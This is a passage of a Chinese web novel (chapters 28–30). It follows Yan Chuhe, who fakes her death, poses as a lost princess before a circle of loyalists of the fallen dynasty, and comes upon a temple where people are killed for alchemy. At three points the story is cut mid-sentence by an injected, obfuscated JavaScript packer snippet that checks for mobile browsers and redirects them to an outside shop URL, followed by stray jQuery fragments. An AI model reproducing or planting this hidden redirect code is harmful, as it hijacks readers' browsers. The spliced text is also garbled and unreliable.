“不会的。”
路斐答得斩钉截铁,不见半分犹疑。晏楚鹤也只能露出勉强的笑容。
尽管这个计划让她倍感压力,但,支持她同意的理由又实在太多。那传说中的前朝玉玺,身为雕刻者,她无法抗拒一睹真容乃的渴望,哪怕只是碎片也行。再加上路斐此刻的神态语气,与她记忆中某个模糊却温暖的影子微妙地重叠。她也对这个社会的另一种可能性抱有不切实际的期待。
又及,她面前并没有更好的选项。
……
送走路斐后,晏楚鹤也不在驿站久留。她怀揣着裹有玉玺残片的素帕,马鞍旁系着新购的玉石原料与一匣厚重的资料,独自策马回府衙研究。
马蹄踏在官道的上的声音清脆,她不紧不慢地走着,心头实在纷杂。洛阳京都在窦怀谦死后便不再有来信,也不知道是什么样的光景。一想到未来或许要和刘霜清,令狐暄立场相悖,还要和窦怀谦从前的那些幕僚作对手,晏楚鹤只觉得闷得慌,不愿去想。
还有春州。她要去蜀地,这儿也得拱手让人吧。过年那会儿又闹了时疫,人心惶惶,晏楚鹤虽有过目不忘的本领加持,不过也只是掌握些理论知识。她还是第一次主持应对这样的困境,使出浑身解数排查水源,管控病患,宣扬防治之法,险些自己也病倒。
年一过,她追查的山匪又有了眉目。那窝歹徒困扰春州近十年,她是费劲心思和沈昱一同明察暗访,一番部署后又亲率州兵夤夜突袭,将那股悍匪一锅端尽,救出被掳百姓,缴获赃物无数。
至于林司马,在她昨日揭穿他和山匪之间的勾结后,那人竟然当场惊厥晕倒,现在都没醒过来。思及此,晏楚鹤还算痛快地笑了笑。这位林司马要罔顾百姓,屡屡作出不义之事。这天下就是因为有太多这样的官员,才会如此浑浊。
——
“你对得起春州百姓吗?!”“林司马!你给我出来!”
几日后,林府,
门外因愤懑聚集的百姓被家丁强行驱散,面色惨白的林锵听着气上心头,不由得大口喘气。
自那日被晏楚鹤气晕后,他昏睡了整整五日才醒,元气大伤,此刻正拖着病体,趴在案上,慢吞吞地将写给路斐的信封好,又开始写给岭南节度使的信。
这封投诚信是他最后的挣扎。
那晏楚鹤远比他相像中的要能搞事,前几个月装傻充愣,如今骤然发难,叫人猝不及防。哈,若他没有后顾之忧,自然可以轻松解决这个女娃。不就是在百姓前作秀?谁不会啊?!都怪那路斐可恶,叫他缚手缚脚!
好在,他林锵也不是只有依仗路斐小儿过活这一条路。林锵便想,又对笔下这张纸不满意,用力一扔,那纸轻轻飘在地上,被家丁拾走了。
这岭南节度使对春州虎视眈眈,屡次向他抛来橄榄枝。思及此,林锵颇为懊悔,他就应该向节度使投诚,专心对付晏楚鹤,做些实事和她抢名声。
可偏偏,武昌侯那边不仅要钱要得紧,甚至亲自来了一趟——林锵现如今才反应过来,这路斐做的每件事,来的每封信,说是扶持他稳住春州,同晏楚鹤打擂台,实则一开始就是要借着他的手把春州搞垮,放纵山匪作恶、败坏民生、掏空府库。可恨他年纪轻轻,心思如此歹毒。
按路斐要求,纵容太过,春州必垮。若治理太好,武昌侯不满,岭南节度使也会赶着过来,岭南节度使眼里可没有百姓的安居乐业?只有土地、粮食、壮丁罢了。
林锵觉得胸口堵得慌,不知从何时起,他像是一根被两头巨力拉扯的细绳,被拉扯在两个方向。初入仕途,初被贬谪于此时,他又何尝没有过护佑一方、青史留名的念头?
他也曾恳请朝廷减免赋税,在州府官衙前长跪陈情,为应付上级巡查,低声下气求附近的豪族出仓,耐着性子讨好上级。到头来,春州还是倒在他手中,他自己的追求,功名权力无望,身家富贵不见。
如今看来,春州的毁灭几乎已成定局。他林锵谁也惹不起,夹在中间,无法选择。可若是没有路斐暗中帮他稳住位子,春州这样偏僻的地方,应该早就从大夏版图消失,沦落为为山匪盘踞之所。
“大人,新的信。”
他皱着眉,这信封口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925361|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松散,显然已被那女人截获打开,她甚至懒得遮掩一点掩饰都没做,就那样塞回给他。
他还未多想,低头一看,心口骤然一沉,
武昌侯已经——
——
“等等!”
晏楚鹤叫住不远处的人,她的声音鲜少这样——愤怒——无法压抑,冰冷而尖锐的愤怒浮现在她脸上。
不过是几天功夫,整个大夏的局势已经天翻地覆。
路斐有给她写信,但她还是顺手截了林锵的信——路斐在这封信里倒是把他自己的行程写得清楚多了。她几乎立刻出发,快马加鞭赶了过去,足足花了两天两夜才追上。
“楚鹤,几日不见,怎么会在这里?”路斐闻声回头,摆见是她十分震惊,眼底的戾气刚起,再看到晏楚鹤的此刻的神情后怯怯地褪了下去,换成一副担忧的样子:“你现在该有更重要的事情吧?你不是染了病,不能出门吗?”
说完,他温和地摆手示意众人去后退,作出拉晏楚鹤上马车的动作。虽说如此,他心里却是忍不住暗骂道。这女人难道知不知道现在每一分每一秒都很关键吗?怎么能浪费时间来找他?
晏楚鹤压下怒气,直视着他:“路大人,我来,是因为收到了加征礼佛税的章程,不知您可否为下官解惑?”
“本官虽为户部侍郎,略知一二,不过赋税事大,自然是听从圣上指引。”
这人还在胡扯!晏楚鹤过目不忘,自然记得那税务官是在武昌侯府见过。她的声音陡然拔高:“这就是你说,让别人先起事的方法?!天灾战争不断,百姓经不起加税!我能辨出那是你的人,百姓只会信以为真!
你要的金额不多,偏偏皇帝前不久刚加收一笔税,傻子都能猜到不是皇帝的注意——你就这么着急要暴露自己?!”
路斐愣了愣,糟了,他满脑子都集中在最后一句,她又在关心他。
好在这时,阿顺那厮递了条外衣,他立刻反应过来。便自己翻身下马,不由分说地把自己大氅披在她肩上,想了想,道:“幽州,越州,通州,这几日都已相继举旗反了。”
他正要解释,却见晏楚鹤倒吸了口气,用让人讨厌的眼神地看着她:“……你是从那里过来的。”
晏楚鹤后知后觉地反应过来,果然,这就是他的目的,她的目光飘到了路斐身后,十几米外,他的车队比几日前见到要壮大多了,车马满载,她几乎一下子就反应过来了:“你真的收到了‘税银’……”
路斐想缓和气氛,只是话题沉重,脸上最终扯出个四不像的复杂表情:“想什么呢,一石二鸟之计,要人卖命,总得让士卒吃饱穿暖。”
他倒是想骗她,告诉她拿到的税银还给百姓了。但是不行,不可以。
“长痛不如短痛,”他移开视线,望向远处以及泛黑的天际,那是洛阳的方向,“景安帝加税总是很有规律,他虽然那样残忍昏聩,却也知道不可竭泽而渔。百姓亦惯于忍耐,宁愿看着水漫过胸口也还要忍受。毕竟,他们不知道反抗会不会让水直接淹没头顶。
而我只是加一桶水,让这个时机提前到来。”
晏楚鹤呼吸一滞,怎么会有人把伤天害命的事情说得这样理直气壮,她反驳道:“你也不知道这桶水是会逼他们学会凫水求生,还是将他们彻底淹死。路明彰,我们根本不具备把水收回的能力。”
“不,我们要最快终结乱世。”
路斐转回目光,眼底闪着寒光……至少他没有骗她。
“……你真的和以前很不一样。”
28. 泛海临蓬莱
晏楚鹤少年时曾无数次幻想过,若有一日于现实中童这位神仙哥哥并肩走在路上,会聊些什么?和雕刻有关的?还是他那番儒家大义?无论如何,光是想到都会有种平和的感觉。
而今,真正同路斐一起回春州的路上,却是一路沉默。
她在春州的这几个月,零零碎碎攒了些钱财药材,还有从山匪窝点缴获的珍宝。他倒是不客气,说是起事所需拿走大半。晏楚鹤也没有阻拦。
现在不是起冲突的时候,那些钱财留在她手里,也无处可用。
她将所有心思都投入到雕刻之中。刀握在手里的触感如今却让她回忆起在战场上握着剑的感受。那些画面在脑海里挥之不去。
战时死在蜀地的人,疫病时春州倒下的人,还有那些因加税无路可走、被逼到绝境的人。
玉玺,带着点后悔的心情造出来了。
路斐这时还没离开——他对春州很满意,这地方偏僻,群山环绕,太适合做大后方据点,于是便多停留了几天,没料到晏楚鹤竟这么快就完成了玉玺。
他第一时间赶到太守府,
案上的玉玺在烛光下仿佛自生光泽,纹路深浅有度,山河脉络一气呵成……不愧是千古第一雕刻奇才,这样的技术,哪怕和真正的传国玉玺有所差距,也由不得别人不相信。
夸赞的话略去,他同晏楚鹤遗憾道:“雕刻大师楚鹤,是时候死了。”
“嗯,我知道。”
晏楚鹤也不转头看他,只是认真地在细节上继续雕琢。她对路斐的计划一清二楚。这几天闭关雕刻,对外便是说楚太守得了重病。
“楚鹤,”她背后的男人突然开口,他似乎早就意识到她喜欢听他这么叫她,“事关天下,整个大夏,你是其中最为关键一环,但,
如果你不愿意的话,现在放弃,也还来得及,”
晏楚鹤倒吸了口气,她讨厌这种虚伪,强忍着不快:“事已至此,乱世已经来了,我认可你的计划,所以才参与——就像,我希望你也可以满意我的雕刻。”
路斐想也不想脱口而出:“我很满意。”
“嗯。”晏楚鹤应了一声,伸手就要把他关在门外。
“等等,楚鹤,”
“路明彰,你还要说什么?”
“……我真心希望我们都能活下来。”
——
再次送走路斐,晏楚鹤自己也要离开春州了。她对此地还有许多遗憾。本想好好治理一番,好不容易开个头,时间却已经不剩多少。
春州太守是个蜀地来的女子,她小姨也是蜀地来的女子。这位子转给她,不也有意思?她这半年积累的下属官吏,以及那些好不容易对她心服口服的百姓们。他们来不及有异议,‘楚鹤楚太守’的病逝实在突然。
春州口口相传,这位太守是因为在冬日里反抗朝廷加税,被重罚后染病身亡。
自晏楚鹤病重起,百姓们便自发在庙里添香,对着朝廷的税章骂骂咧咧,感慨着好官没好报。
也就在这期间,她还见了一个人。
林锵。
自她入春州的第一天起,此人便处处与她为难,阻挠她掌权,借时疫激将前任太守,以致其不自量力而死。
他在春州盘踞多年,是当之无愧的地头蛇,看似欺压百姓纵容山匪,锦衣玉食声色犬马,过着人们鄙夷又羡慕的生活。
现如今,在确认林锵是路斐的人后,晏楚鹤也大概捋清楚了。
使天下混乱,春州不过是路斐的一个实验品,
林司马是被选中来决定——春州该以哪种方式灭亡的人选。
路斐作出的这些事的初衷和目标,晏楚鹤始终看不真切。他的做法她不认同,甚至很反感,但不可否认确实有效。
她选择相信他……说来复杂,有直觉,有赌的成分,也有那张脸的缘故。更关键的是,晏楚鹤她自己已经没得选了。回京,燕王已死。至于投靠其他节度使或者都督府?恐怕还不如路斐。
但她大概永远都不会认同这样的做法。
见她来,林锵压下惊讶,强撑着身子起身,挑着眉毛嘲讽道:“楚太守得了武昌侯的看重,他来信叫我把春州全权交还给你,我自是无力同你作对。
你今日来找我,还有什么好说的?”
晏楚鹤看着眼前男人面容枯槁,形销骨立,哪里还有半点昔日的气焰,于是也皱着眉,叹了口气,道:“武昌侯只在乎结果,也只把你当作工具,”
林锵以为她来气他,还真气得跌倒,凄凄惨惨地自个儿冷笑出声:“楚太守这么确定,自己不是其中之一?”
他一直面对着路斐预设的困境。
什么都没有得到的结局。而如今,这个选择轮到晏楚鹤了。
武昌侯无止境的索取,岭南节度使的虎视眈眈,百姓的信任。哪一个别想处理清楚的局面。
“我不认为有人是工具,”晏楚鹤却是话锋一转,忽然蹲下身,同他面对面,语气平静,“你也一样——
只有人才能从科举中脱颖而出,治理一方。
你比我更了解春州,时疫治理,山贼、豪族的防范工作,你不仅清楚得很,还能精准把控呢。”
林锵愣在原地,张了张嘴,挤出一句干涩的回击:“……楚太守说话真是不客气。”
“我没有挖苦你,”晏楚鹤又看了他一眼,便站起身,留下段意味深长的话。
“不要管路斐了。去试试吧,用你自己的能力全力以赴,压山匪,改变粮价,斗倒地方豪族,”
林锵瞳孔皱缩,眼里全是不解,
没有路斐,还有岭南节度使的压力,百姓对他也不再信任,她居然要他重新努力?怎么可能?不还依旧是在两边打转,被反复拉扯的结局吗?
“情况已经转变了。春州不是谁的棋子,它有活下去的理由。”
林锵回过神,慢慢撑着案几爬起身,屋内已经空无一人了。
……居然是这个选择吗?
——
假死的过程与预想中一样顺利。时辰、证人、流言,晏楚鹤在死后会见的第一个前朝残党,便是沈昱。
“原来如此,”沈昱听完她的叙述,神情几经变化,“您将计就计,在当年和亲时顺着王家人的手段,
设计了那场落水……”
出色的侦探会通过两句提示自己补充完背景故事:“谁能想到,您居然和位隐世的雕刻大师合作,兜兜转转又去了大夏宫。民间甚至误以为您就是雕刻大师……谢谢您对我的信任,”
沈昱被她的谎话骗过去,语气郑重起来:“不过,您化名为雕刻大师的事,暂时不能让其他大人们知晓,免得因此怀疑您——如今非常时期,有所隐瞒可以少些不必要的麻烦。”
数日舟车劳顿,他们自春州绕回蜀地。晏楚鹤在路上便换了身打扮,素雪色交领衫,外头用青色绣银竹纹广袖罩着,再搭了条同色的裙子,长发用根簪子挽在脑后,显得洗练而清雅。
晏楚鹤对着镜子久久回不过神,怪道人靠衣装,居然她这种俗人也能显出几分读书人气质,清高华贵。
又绕了好些日子,他二人在益州郊区一处宅子停下,又上了辆马车,也不知到了哪处山头才停下。
一路上,沈昱百般叮嘱,大夏虽在五十多年前立国,却是在十几年前才彻底覆灭前朝。遗留势力扎根于蜀地群山,亦有改头换面、已混入当朝官吏者,不过目前他们当中掌权的是盘据一方、手握实财私兵的豪强。
晏楚鹤没想到的是,她一上来就见到了这位话事人——准确来说,是这对话事人。
一对在蜀地商界声名赫赫的富商。他们不认得晏楚鹤,晏楚鹤却对这梁姓夫妻二人相当了解。他们常年活跃于蜀地的商会,比她外祖父要强多了。
这般人物,居然也和前朝有关。
这二人皆是四十余岁年纪,似乎很信任沈昱的样子,对晏楚鹤也是一副言笑晏晏,只在眼底藏着些衡量。
不仅如此,房内还有三人,一位老者头发花白,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944390|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从她入门那刻便用审视的紧紧盯着她不放,又一位她年纪相仿的少女已经眼泛泪光,克制不住地发颤,大概是她同永宁真的十分想象。最后一位中年男子则是扫了她两眼,便看向沈昱。
这几人隐隐代表三派,心存怀疑者、情愿相信者,以及……不在意真假、只是希望“永宁公主”能够参与起事而已。
沈昱,恰恰是最后一种。他发自内心希望晏楚鹤是真的永宁——只要没有会被揭穿的致命破绽就行。路斐就是看中这点,才选中沈昱合作的。
“梁先生,梁夫人,久仰。”晏楚鹤在宫中耳濡目染已久,一路上早已设计好自己的人设,一位自幼便在大夏宫长大的前朝公主。
寒暄方落,她便娓娓道来,按路斐给的信息——那玉玺是被景安帝摔坏的,她便真假参半,只说自己如何借宫中旧人掩护,历经周折,联系匠人掉包了玉玺。
在大夏宫的真实经历,这件精妙绝伦的玉雕,已经让她的身份在梁氏夫妇眼里可信多了。
一旁的侍奉的女子擦去眼泪,颔首道:“不会错的,这位小姐确实就是公主。她同太子妃实在神似——”
“慢着,老夫记得,太子妃似乎更白皙些,先前在陇西见到永宁,远远瞧过去,身量也该比这位姑娘矮一些。”
说话的老者语速缓慢,他的怀疑并不尖锐,这让晏楚鹤顿时松了口气。不等她解答,一旁的沈昱立刻接过话头,言辞恳切:“庞老明鉴,公主当年落水,寒气侵体,益州恰好在那时爆发战乱,这才迟迟未于我等相认。这两年公主颠沛流离,如何能与深宫之中养尊处优的太子妃相比?再说,公主出嫁时不过十七,正是抽条长身量的年纪。”
“沈师爷说的是,”那姓庞的老者挤出和蔼的神情,又道,“不过难得一见,老夫还是有几个问题,烦请这位姑娘解答。”
“但说无妨。”晏楚鹤笑着同意了,她心下了然。
这些人同永宁公主十多年未见,自然不可能知道太多,只会问些他们自己都未必清楚的事情。
“你可还记得你母妃?”
晏楚鹤只点头,并不说话。她从来不吝啬用美好的词汇昧着良心夸赞上级。但对于后宫的女子——她所知道的后宫女子总是面色疲惫……再说,母亲与子女之间也不一定全都亲近。
她不回答,这些人要逼问也得找个方向。她静观其变罢。
庞老人见她不语,便顺着自己的记忆追问下去:“老夫曾听旧宫人提过一桩趣事,说永宁殿下幼时贪嘴,偷藏了太子妃案上的点心,被发觉后,不得不将那点心馅里的核,种在了寝殿前的土中。不知您可还记得?”
晏楚鹤对此事一无所知。
好在她对大夏宫的一切过目不忘,几秒的时间,便在记忆的角落里找到了棵特别的树。
推理,计算并不困难,永宁四岁那年,宥朝才亡的,她被留在已经成为大夏皇宫的‘家’中,亲眼见证了亲人全都被处死的情景。
晏楚鹤结束回忆:“应该是我幼时吧,我记得倒不是种子,而是有几片青碧碧的大叶子,我将那苗儿,同一点泥土,囫囵埋在安和宫那的石阶旁。”
她继续装作竭力回忆的样子:“那叶子……叶脉很深,边缘光滑,具体是什么树苗,年岁久远,我实在记不真切了,如今也该是亭亭如盖,真想亲眼见一见啊。”
“绝对错不了!这就是公主大人!”激动的不仅是那个少女了,一直持重的梁先生也猛地向前倾身,露出极为肯定的神情。他便是奉命为前朝皇家园林采办各类珍奇花木的皇商,晏楚鹤所言的细节,绝非是外人可以凭空捏造,必须亲自去宫里把每个角落都走一遍才能发现!
庞老人眼里的烦躁一闪而过,随即,他转而看向站在角落,一言不发的中年男子:“莫先生就没什么问题吗?”
那男子一身腱子肉,脸上疤痕纵横,实在不像是什么先生。他默了默,沙哑着嗓子开口——晏楚鹤绝对在哪里听过这个声音。
“您在蜀地,可曾见过燕王?”
29. 踏霜奔月窟
“我因战乱困在益州,确实见过——”晏楚鹤顿了顿,她猛地想起来了,眼前这位莫先生,可不就是先前她在河边遇到的,从树上出现的男子。
这个人明确见过她——见过做楚御史时的她。那日她惊骇过度,昏死过去,也不知道这莫先生是否见到窦怀谦?大抵是没有吧?毕竟,他那时身受重伤——
思虑间,那位梁夫人突然开口:“想来,莫先生那日偶遇的女子,便是您了,只是妾身愚钝,想不通您当时为何不与莫先生相认?”
她笑起来和丈夫一样和善,只有那双眼眸剔透,藏着商人的精明、政客的多疑。
“还有一事,妾身挂心多年,”梁夫人不给她回答的机会,自顾自地引出下一个问题,“先太子妃留给您的那串赤金嵌宝璎珞项圈,意义非凡,您答应过她永不离身。今日重逢,怎不见此物?”
晏楚鹤愣了愣,
好强的压迫感,这女人几句话便问出了今日最难的问题:那项圈是确有其事还是针对她的陷阱?
电光火石间,晏楚鹤喉头一哽,一边将袖中手指狠狠掐入臂膀逼出泪水,同时调动记忆,真切刺骨的伤心事翻涌着,再配上一个强扯出来的苦笑:“当日,我计划溺水脱身,意外实在太多,我只来得及顾上这玉玺,想来,如今能生还与各位相见,已是侥幸。”
眼泪适时落下,劫后余生的凄惶,对逝去亲人的思念,看向玉雕的珍重,晏楚鹤表演的真情实感——这确实是她亲身经历的情感。因此,那步步紧逼的梁夫人,梁裁也愣了一瞬。
那项圈本就是梁夫人虚设的圈套,她正欲再度开口,身旁另一人——莫少隆挡在她面前,沈昱也赶紧接道:“梁夫人,殿下一路舟车操劳,不如暂且休憩,余事容后再议。”
他声音平稳,目光缓缓扫过在场众人,在起身的莫少隆身上停留。看来,这位莫先生也认可了晏楚鹤。
是以,此刻在场情势是四比二,算是暂时告一段落。
梁裁心里也明白,见状和庞老人交换了个眼神,也不再说话,由着那激动的少女趁机上前——她正要扶晏楚鹤离开。
“且慢,眼下还有一要事,”那明显受过伤的喉咙再次发声,“我等隐匿多年,积蓄有限。如今正欲起事,却缺乏军资,敢问公主可有良策?”
这一问倒是有意思,她路上自然思考了这些。晏楚鹤抬头,看向比自己高上不少的莫少隆,神色坦然:“我相信各位经营前朝势力这么久,比我更清楚如何做到。我只不过是班门弄斧。
她目光转向梁氏夫妇,意有所指,“蜀地商贸兴盛,物资金流往来庞杂,其间必有可供周转的之处。譬如官府严控的盐铁、边贸的珍稀皮货,我等不必直接抢夺,只需作中间人,抽其佣金,积少成多,”她微微颔首,“二位想必已经这么做了。”
“其二,便是发挥‘永宁公主’的名号,”她看向庞老人,语气郑重,“前朝虽亡,但我父母在民间素有仁名,今日起放风出去,直言公主暗中接纳义士,所能聚集的力量,必不在少数。”
“最后,便是取之于敌,”她将视线移回莫少隆,心里想的自然是那个给她这个方法灵感的人,她并不认同,
这种主动制造或利用灾难,加速秩序崩溃,从混乱中汲取养分的方式实在让人讨厌,只是——
“如今,乱世已起,幽、越诸州皆反。朝廷必然调拨大军与钱粮前往平叛。押运粮草的队伍,便是活动的粮仓。若能精准截获一二,既可充实自身,亦可乱敌后方。”
她缓了口气,又看向众人:“三策并行。具体如何调配,还需视各位的情况协调。我初来乍到,不明详情,唯有一点可断言——坐等资粮从天而降,断不可行。”
她顿了顿,又道:“我今日前来,并非奢求诸位因为我的祖辈而供养我,而是想改变如今这时局。
宥亡了太多年,欲复辟,必然得先无中生有、虎口夺食。”
话音落定,厅内一片寂静。
梁裁同庞老人眼里的审视少了,多了几分掂量,众人都在判断着,那少女听得目眩神迷,毫不掩饰自己的认同。莫少隆深深看了她一眼,不置可否。
沈昱适时上前,温声道:“殿下思虑周详,所提皆是切实可行之法。具体细节,确需从长计议。今日便到此为止吧。”这一次倒是无人再出声阻拦。
——
晏楚鹤被安置在这处宅邸二楼的厢房
那位引路的少女与她年岁相仿,装束却极为亮眼。简单的盘发配着羽饰,再搭一身橘红长裙披袍,以蓝色系带点缀,走起路来倒是利落。这女子在长相比不上刘霜清一家,但也是线条清晰、骨相端正,微微上扬的圆眼叫人印象深刻,只觉生机无限。
她是永宁公主幼时的玩伴,前朝世家谢家的表妹,谢飞藿,听沈昱说,此人一身骑术颇为精湛,骑马功夫了得,常年假借行商之名,在蜀地群山间的各个秘密据点奔波。
近来局势愈发紧张,谢飞藿便留驻于此,恰好遇上沈昱带晏楚鹤归来,便接了安顿照料她的差事。
经由谢飞藿介绍,晏楚鹤复习了遍刚刚那几人的名号。庞老人庞子苔在外是名声清贵的大儒,开设私塾,门生不少。至于莫先生,则是目前负责操练人马的总教头。
送走谢飞藿,晏楚鹤又忍着疲惫,同各种人派来看望的下属寒暄片刻。
谢飞藿为她拨了四名侍女就在一旁,名义上是伺候,实则就在门外廊下守着。
那四人训练有素,动作轻悄,进退有度。晏楚鹤不语,由着她们服侍洗漱……她并不习惯。
压力,如负千钧。
远甚于预想中的程度。
主公,不应该被监控。
晏楚鹤皱着眉,走到窗边,她真希望赶紧发生点什么——足以让她证明自己。
需要发生点什么证明自己。
天边一钩残月叫人心绪翻腾。她身上新换的这件衣服做工精良,丝绸质地,在这夏夜里柔滑生凉——晏楚鹤并不喜欢。
尤其是现在,她脖颈处感到的,若有若无的寒意。是锦州出火之山产的十胜石吧?她还是第一次见,只有那种石头做出的刀刃会是这种质感。
一道压低的女声适时响起:“我知道你不是公主本人。”
是方才是侍女之一。
晏楚鹤也不闪躲,她早有察觉,也料定对方不敢杀她,更关键的是,她需要同这位聪明的侍女近距离接触。
好上演一出英雌救美。
——
“……总之,快去救公主!”
楼下,
梁咸,梁裁夫妇,莫少隆,庞子苔本在此议事,见沈昱疾步闯入,神色仓皇地说了一大堆。莫少隆立刻按刀而起,往他指的方向行动。
“沈师爷,你说慢些。”庞老人放下茶杯,语气仍是不紧不慢。
“是剑南节度使!”沈昱气息未定,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951931|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我先前在路上便觉异样,此刻才反应过来——他恐怕已经知道公主的行踪——”他猛地看向庞子苔,“庞老,您一直在此,可有什么生面孔上去过?”
“不就是谢家小姐同那四个侍女,老梁夫妇的人,我的几个学生,还有你的人。”
“我手下哪有人!”沈昱急道,便也作出往楼上跑的样子。
这时,莫少隆早已如赶到二楼,他身后跟着几名功夫不错的徒弟,他们吃力地看着自己同师父的距离越来越远,正要跟上,却见师父突然转身——
“快撤!”
怒吼的声音难听至极,随即而来的是更为响彻的轰鸣。
“轰——!!!”
气浪裹挟着木屑烟尘轰然冲下,刺鼻的硝磺味瞬间弥漫开来。莫少隆离得最近,虽反应神速,仍被扑了满脸灰黑。楼上的情形,可想而知。
屋顶被整个掀开,众人忙着躲避那些落下的木片瓦片,一片混乱,鲜有人注意到那几道正在屋顶穿梭的黑影。
不过最前面那人一身白衣,怀中揽着名侍女,身形利落,在月光下极为显眼。可不就是晏楚鹤。那身月白色长袍是梁裁特意让人赶制的,如今已经损坏地差不多。
梁咸当即夺门而出要召集人手。梁裁则麻利地翻出药箱,带着人往楼上冲去。
同样老练异常的还有庞子苔,他第一时间踢翻烛灯,拉着沈昱在黑暗中躲了起来。这关头!可千万不能让剑南节度使的人发现他和前朝有关!
好在,那几人目标明确,只专心追着晏楚鹤,无暇顾及其他。
晏楚鹤这边,她揽着个人确实吃力,此刻心下暗恼。
起初拉上这侍女,只是为了在火药爆开前将她扑离中心。现在被这些人追得紧,倒不好贸然把她放下。
啧,沈昱也没说过,剑南节度使会派这么多人。
她目光疾扫,隐隐瞥见远处尚有灯火人声。看来她没记错,前面就是严道县城,虽不比京城,也算是蜀地里比较繁华的。
现下,她只需要寻一处女子众多的地方藏匿起来,沈昱他们便会联系本地官府周旋。这里尚且归属益州都督,应该能躲过一劫。
夜色已深,城中仍亮着灯火、传出歌舞乐声的地方可不多——晏楚鹤分神四顾,目光掠过一处青灰色简瓦屋顶、围着素白高墙的建筑。她隐约听到些歌舞乐声,还有女子欢笑声。
来不及细看,她当即落入院中,又闪身进屋,反手便掩住房中人的口鼻,她运气好,这房内只有一人,被她吓得软倒在地。
看此人的通身灰白的装束,还有发上特别的冠髻。原来是道观啊。
是了,景安帝最爱佛教,其次就是道教。大夏风气开放,上行下效之下,连带着这女观成了歌舞放纵的场所,叫她误会错认。
晏楚鹤见这房间还算隐蔽,便将怀中侍女放下,低声快速道:“姑娘,对我的怀疑先放下,你先在此藏好。”
那侍女不解地打量着她,背贴墙壁,手中仍然紧紧攥着那刀。
晏楚鹤蹙眉,正欲再言,到嘴边的话被突然的脚步声逼了回去。
粘滞拖沓的脚步声,深浅不一,伴随着滴落的液体,让人一阵恶寒。
是追兵?不,那些人一时半会反应不过来。
而这间房外面,乐声并未停歇。洞箫悠长,箜篌弦振,埙鸣沉厚,欢快的曲调莫名有种说不出的凄惶诡谲。
“快……逃……”
30. 泛海临蓬莱
地上先前被她吓晕的那女人竟转醒过来,露出的一截小臂上,赫然布满深紫淤青。
顺着她指的方向,未关好的门“吱呀”一声被夜风推开,门外的长廊幽深,尽头是一间更为开阔的殿室。烛火昏红跳动。
扑面而来的血腥味,闪烁的光影映照出另一幅景象。
身着绛紫、玄青等各色高阶法衣的道人围立,他们衣服上绣纹繁复,很是华贵。为首那人晏楚鹤在宫里见过,
他发冠上镶嵌着不菲的宝石,手执金色长剑,正要往面前被绑缚的女子心口处捅过去——那些被绑住的人同方才被晏楚鹤吓晕的女子一样,头被写着“主药”“丹引”等字样的布包住,只露出一双眼。他们清一色穿着灰色道袍,一眼望去一目了然。
!是道士编造的杀人取血、炼丹夺寿的邪魔歪书。晏楚鹤无暇感慨自己的倒霉,强忍心头情绪和脊背窜起的寒意,快速扫过这屋子全貌。
看得见的就有五个人。而被绑住,已经受了重伤的普通人却是有几十个。
此行匆忙,她没有像平常一样带着药粉,以一敌五,自身尚且难保——像这样的房间还有很多。
她确实有关于蜀地道观的记忆,但梦里,她满脑子都是雕刻、战争的事,从未像今日一般深入过。
也就是说,她不像以往一样,具备用于克敌的信息优势。
前朝那些人未必会来救她。最优选毋庸置疑。
逃跑。
看着这些人被杀死,记住这一切,日后清算。
冷静。晏楚鹤强迫自己集中注意力,极力忽视那被绑住女子发出的呜咽,却还是手脚快过头脑,身体先于权衡做出选择。
她从侍女手中夺过刀,瞄准那正要杀人的道士——正中眉心。
密闭的房间,晏楚鹤不能把这些人引到外头,她这身衣服太明显,追兵迟早过来。
电光火石间,那侍女被她一推也反应过来,她方才受火药惊吓,如今已然平稳,只咬牙看了晏楚鹤一眼,转身往外跑去。此举虽有被追兵发现的风险。但也比在这里和晏楚鹤一起等死强。
晏楚鹤没再看其他,她正全神贯注寻找所能利用之物:散发出刺鼻怪味的丹炉,道士身上鼓囊的袋子,满地面的各类液体,宽大低垂的暗色帷幔。
梦里,那个算是她师父的人曾说过,她这个人除了在雕刻上有天赋,剩下的全是些旁门左道,为官如此,比武亦是——只能出奇制胜。
晏楚鹤动了。得益于在春州数月奔波锤炼出的体力,她的动作比以往更迅捷。先假意攻向道士,实则是越过这人拽下高悬的帷幕,借力踢翻丹炉,里头的各色粉尘泼洒而出,造成的刺鼻迷雾倒是帮了她不少。
她迅速屏住呼吸,快步劈中最近那道士的颈侧,扯下他腰间的袋子,一捻,又是粉状物,
恰巧,她侧方一名道士自雾中扑出,为了呼吸惊怒大张的嘴成了破绽。晏楚鹤便赶紧将手上的东西扔了大半进去。那人喉头顿时发出“咯咯”怪响,掐着脖子踉跄后退。
